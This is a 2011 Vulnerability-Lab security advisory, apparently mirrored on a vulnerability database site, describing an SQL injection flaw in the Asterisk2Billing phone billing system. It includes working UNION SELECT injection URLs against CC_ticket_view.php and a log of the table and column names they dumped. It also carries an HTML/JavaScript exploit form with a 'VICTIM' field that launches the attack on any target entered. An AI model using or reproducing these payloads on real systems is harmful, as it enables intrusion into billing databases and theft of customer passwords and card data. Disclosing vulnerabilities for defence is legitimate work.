Lucene search
K

Asterisk2Billing v1.9.4 - SQL Injection Vulnerability

🗓️ 11 Aug 2011 00:00:00Reported by Vulnerability Research LaboratoryType 
vulnerlab
 vulnerlab
🔗 www.vulnerability-lab.com👁 18 Views

Asterisk2Billing v1.9.4 - SQL Injection Vulnerability on A2Billing phone system allows attackers to compromise customer data, passwords, and card

Code
Document Title:
===============
Asterisk2Billing v1.9.4 - SQL Injection Vulnerability



Release Date:
=============
2011-08-11


Vulnerability Laboratory ID (VL-ID):
====================================
246


Product & Service Introduction:
===============================
Asterisk ist eine freie Software, die alle Funktionalitäten einer herkömmlichen Telefonanlage abdeckt. Asterisk unterstützt 
Voice-over-IP (VoIP) mit unterschiedlichen Protokollen und kann mittels relativ günstiger Hardware mit Anschlüssen wie POTS 
(analoger Telefonanschluss), ISDN-Basisanschluss (BRI) oder -Primärmultiplexanschluss (PRI, E1 oder T1) verbunden werden. 
Durch die umfangreiche Anzahl von unterstützten Protokollen und Schnittstellen ist Asterisk für öffentliche Telefonanbieter 
und Callcenter genauso geeignet wie für den Privathaushalt. Viele VoIP-Provider sind mittels Asterisk aufgebaut. Durch die 
Skripting-Möglichkeiten in Asterisk lässt sich die Telefonanlage nahezu beliebig konfigurieren und erweitern.

The A2Billing solution comprises of the following components: -

    * Server: The computer to run the system.
    * Line Interface Cards: The Digium hardware (optional)to connect to the TDM network (PRI, BRI, Analogue)
    * Linux: The base operating system
    * Asterisk: The telephony engine
    * Apache: The web server
    * MySQL/Postgresql: The back end database
    * A2Billing: The Billing engine handling Authentication, Authorisation and Accounting. 

A2Billing is included in several stable linux distributions & is most famous phone system.

(Copy of the Vendor Homepage: http://de.wikipedia.org/wiki/Asterisk_(Telefonanlage))


Abstract Advisory Information:
==============================
The Vulnerability-Lab Team discovered remote SQL Injection Vulnerability on Asterisk 2 Billing Phone System.


Vulnerability Disclosure Timeline:
==================================
2011-08-12: Discovery by Vulnerability-Lab


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQl injection vulnerability is detected on Asterisk2Billing Application. Remote Attackers can execute own sql statements 
& can compromise the application dbms. The vulnerability allows an attacker to read customer data, passwords, cards & numbers.


Vulnerable Module(s):
				[+] CC_ticket_view  - ID

--- Request Log ---
cc_agent,cc_agent_commission,cc_agent_signup,cc_agent_tariffgroup,cc_alarm,cc_alarm_report,cc_autorefill_report,cc_backup,cc_billing_cust

omer,cc_call,cc_call_archive,cc_callback_spool,cc_callerid,cc_campaign,cc_campaign_config,cc_campaign_phonebook,cc_campaign_phonestatus,
cc_campaignconf_cardgroup,cc_card,cc_card_archive,cc_card_group,cc_card_history,cc_card_package_offer,cc_card_seria,cc_card_subscription,
cc_cardgroup_service,cc_charge,cc_config,cc_config_group,cc_configuration,cc_country,cc_currencies,cc_did,cc_did_destination,cc_did_use,
cc_didgroup,cc_epayment_log,cc_epayment_log_agent,cc_iax_buddies,cc_invoice,cc_invoice_conf,cc_invoice_item,cc_invoice_payment,cc_iso639,
cc_logpayment,cc_logpayment_agent,cc_logrefill,cc_logrefill_agent,cc_notification,cc_notification_admin,cc_outbound_cid_group,cc_outbound

_cid_list,cc_package_group,cc_package_offer,cc_package_rate,cc_packgroup_package,cc_payment_methods,cc_payments,cc_payments_agent,cc_payments_statu

s,cc_paypal,cc_phonebook,cc_phonenumber,cc_prefix,cc_prov

id,datecreation,active,login,passwd,location,language,id_tariffgroup,options,credit,currency,locale,commission,vat,banner,perms,lastname,
firstname,address,city,state,country,zipcode,phone,email,fax,company,secret,id,id_payment,id_card,date,amount,paid_status,description,
id_agent,id,id_agent,code,id_tariffgroup,id_group,id_agent,id_tariffgroup,id,name,periode,type,maxvalue,minvalue,id_trunk,status,numberof

run,numberofalarm,datecreate,datelastrun,emailreport,id,cc_alarm_id,calculatedvalue,daterun,id,daterun,totalcardperform,totalcredit,id,name,p

ath,creationdate,id,id_card,date,id_invoice,start_date,id,sessionid,uniqueid,card_id,nasipaddress,starttime,stoptime,sessiontime,calledstatio

n,sessionbill,id_tariffgroup,id_tariffplan,id_ratecard,id_trunk,sipiax,src,id_did,buycost,id_card_package_offer,real_sessiontime,dnid,
terminatecauseid,destination,id,sessionid,uniqueid,username,nasipaddress,starttime,stoptime,sessiontime,calledstation,startdelay,stopdela

y,terminatecause,usertariff,calledprovider,calledcountry,called



Pictures:
				../sql1.png
				../sql2.png
				../sql3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers or local low privileged user accounts.
For demonstration or reproduce ...


Path:		/a2b_admin/Public/
File:		CC_ticket_view.php
Para:		?id=


PoC:
http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+database(),2,@@version,user(),5,@@version,7,8,9,10,11,12--
http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12+from

%20information_schema.tables%20where%20table_Schema=database%20()--
http://xxx.com/a2b_admin/Public/CC_ticket_view.php?id=-1+union+all+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12+from

%20information_schema.columns%20where%20table_Schema=database%20()--


Exploit:
<html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9">
<title>Asterisk 2 Billing v1.4.2.x [Remote SQL-Injection Exploit]</title>
<script language="JavaScript">
var path="/a2b_admin/Public/"
var file="CC_ticket_view.php"
var para ="?id="
var sql = "-1+union+all+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12+from%20information_schema.tables%20where

%20table_Schema=database%20()--"  
function command(){
if (document.rfi.target1.value==""){
alert("Failed..");
return false;
}  
rfi.action= document.rfi.target1.value+path+file+para+sql;
rfi.submit();
}
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// Asterisk 2 Billing v1.4.2.x [Remote SQL-Injection Exploit]
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// Global-Evolution Security
// [c]oded by ~REMOVE
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
</script></head><body bgcolor="#000000" link="#990000">
<center><p align="center"><b><font face="Verdana" size="2" color="#006633">Asterisk 2 Billing v1.4.2.x [Remote SQL-Injection Exploit]

</font></b></p>
  <form method="post" target="getting" name="rfi" onSubmit="command();"><div align="left"><p><b><font face="Arial" size="2" 

color="#006633">
VICTIM:</font></b><input name="target1" type="text" style="background-color: #006633" onMouseOver="javascript:this.style.background=
'#808080';" onMouseOut="javascript:this.style.background='#808000';" value="http://" size="53">
<b><font face="Arial" size="2" color="#006633">EXAMPLE:</font><font face="Arial" size="2" color="#808080">  HTTP://GLOBAL-

EVOLUTION.INFO</font></b></p>
  </div><p align="left"><input type="submit" value="Execute INPUT" name="B1"><input type="reset" value="Clear ALL" 

name="B2"></p></form><p><br>
<iframe name="getting" height="337" width="1000" scrolling="yes" frameborder="0"></iframe></p><div align="left"> <p align="center"><b>
<font face="Verdana" size="2" color="#008000">Hacking Phone-Systems 4 Electronical Freedom</font></b></p>
</div></center></body></html>


Security Risk:
==============
The security risk  of the sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation